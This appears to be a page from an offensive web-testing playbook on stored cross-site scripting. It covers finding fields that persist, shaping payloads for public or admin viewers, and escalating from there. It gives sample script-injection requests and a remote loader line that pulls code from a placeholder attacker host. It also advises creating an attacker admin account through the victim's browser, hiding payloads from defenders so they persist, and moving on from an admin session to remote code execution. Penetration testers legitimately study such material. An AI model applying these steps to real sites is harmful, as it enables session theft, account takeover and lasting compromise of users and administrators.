Stored XSS
The payload is written to server-side storage - a database row, a file, a cache - and rendered back on every later view of that content. No link to deliver and no per-victim step: whoever loads the page runs your code. That makes stored XSS the highest-impact variant, and the one most likely to land in front of an administrator.
# Inject once, into anything that gets displayed back laterPOST /comment text=<script>...</script>POST /profile bio=<img src=x onerror=...>
# Then the payload fires for every viewer of that comment / profile / ticketSuccess indicator: the payload executes when you (or another user) simply view the page - no crafted URL, no click. Reload the page in a clean session and it still fires.
Why stored XSS is the dangerous one
Section titled “Why stored XSS is the dangerous one”| Reflected | Stored | |
|---|---|---|
| Delivery | Must send each victim a crafted URL | None - payload is already on the page |
| Reach | One click at a time | Every viewer of the content |
| Admin exposure | Only if you can get an admin to click | Natural - staff review user content (tickets, reports, profiles) |
| Persistence | Dies with the request | Lives until the row is deleted |
The practical upshot: a stored payload in a support ticket, product review, or user profile is viewed by moderators and admins as part of their job. That turns XSS into a path to an admin session without any social engineering - see Blind XSS for the case where that admin view happens somewhere you can’t see.
Step 1 - Find the persistence sinks
Section titled “Step 1 - Find the persistence sinks”Any field whose value is shown to someone later is a candidate. The highest-yield sinks:
- Comments, reviews, forum/thread posts, chat messages
- Profile fields: display name, bio, “about”, website, location
- Support tickets, contact forms, feedback (often rendered in a staff-only panel → blind)
- Uploaded filenames and file metadata (EXIF, document author) rendered into a listing
- Any value re-displayed in an admin dashboard, moderation queue, log viewer, or emailed notification
- Submit a unique canary (
xss7a9c) into each storable field. - Browse everywhere that value might surface - the obvious page, but also listings, search results, notification emails, admin views you can reach.
- Where the canary appears, read the surrounding markup to get the context (same as reflected - the payload class depends on it).
- Note any field whose output you cannot see - those are blind sinks; switch to the out-of-band method in Blind XSS.
Step 2 - Account for the rendering context (and where it differs)
Section titled “Step 2 - Account for the rendering context (and where it differs)”A stored value can be rendered in several places with different encoding in each - a profile name shown raw in the header but entity-encoded in the page title, for instance. The injection succeeds in whichever sink encodes it least. Build the payload for the context where it lands unencoded; see Payload construction.
Step 3 - Model the victim before weaponizing
Section titled “Step 3 - Model the victim before weaponizing”Because stored XSS fires for whoever views it, decide who that is - it shapes the payload:
- Any user (public comment): broad, opportunistic. A cookie-steal or drive-by fits.
- Staff/admin only (ticket, report, moderation queue): target the privileged session. The payload should do something useful with admin rights - create an attacker admin account via the app’s own API, read admin-only data - because the admin’s browser can make authenticated requests the app trusts.
- Unknown (you can’t see the render): treat as blind and start with an out-of-band beacon to confirm execution and learn the context.
Keep the payload small and quiet if it will sit in persistent storage where defenders may find it. Load the real logic from a remote script so the stored value is just <script src=//<ATTACKER>/x></script> - see Blind XSS for the remote-script pattern and XSS to session for the exfil receiver.
Step 4 - Confirm, then clean up
Section titled “Step 4 - Confirm, then clean up”- Confirm by viewing the content in a fresh session (ideally a different browser profile) so you know it fires for other people, not just your own authenticated view.
- A stored payload that visibly breaks the page (a mangled comment, a blank profile) invites deletion. If you need it to persist for a slow-to-arrive admin view, make it visually inert - see the inert/
setIntervalvariants in Defacement for the DOM-cleanup techniques.
Common failure modes
Section titled “Common failure modes”- Canary stored but never rendered raw. The app output-encodes on display - correct defense. Look for a second render location (listing, email, admin panel) that may not encode.
- Fires for you but not others. You may be seeing a self-only reflection or a per-user preview. Verify cross-session.
- Length limits truncate the payload. Use a minimal loader (
<script src=//<ATTACKER>/x>) and keep the logic remote; see minimal payloads in Payload construction. - Stored but execution happens out of view. That is Blind XSS - switch to an OOB beacon.
Quick reference
Section titled “Quick reference”| Step | Action |
|---|---|
| Sinks | Comments, profiles, tickets, filenames, anything re-displayed |
| Canary | Unique marker per field; hunt every render location |
| Context | Read markup at each render; pick payload accordingly |
| Victim | Public vs. staff/admin vs. blind - shapes the payload |
| Confirm | View in a clean, separate session |
| Escalate | Session theft; admin-targeted → app API abuse |
Next move
Section titled “Next move”- Payload fires for any viewer → opportunistic session theft via XSS to session
- Sink is a staff/admin-only view → target the privileged session; use the app’s own admin API from the victim’s browser
- Can’t see where it renders → Blind XSS with an out-of-band beacon
- Payload too long for the field → remote-script loader; see Payload construction
- Output is entity-encoded → check other render locations; if all encode, see Filter bypasses for partial-encoding gaps
- Got an admin session → log in as admin; look for file upload → RCE or command-exec settings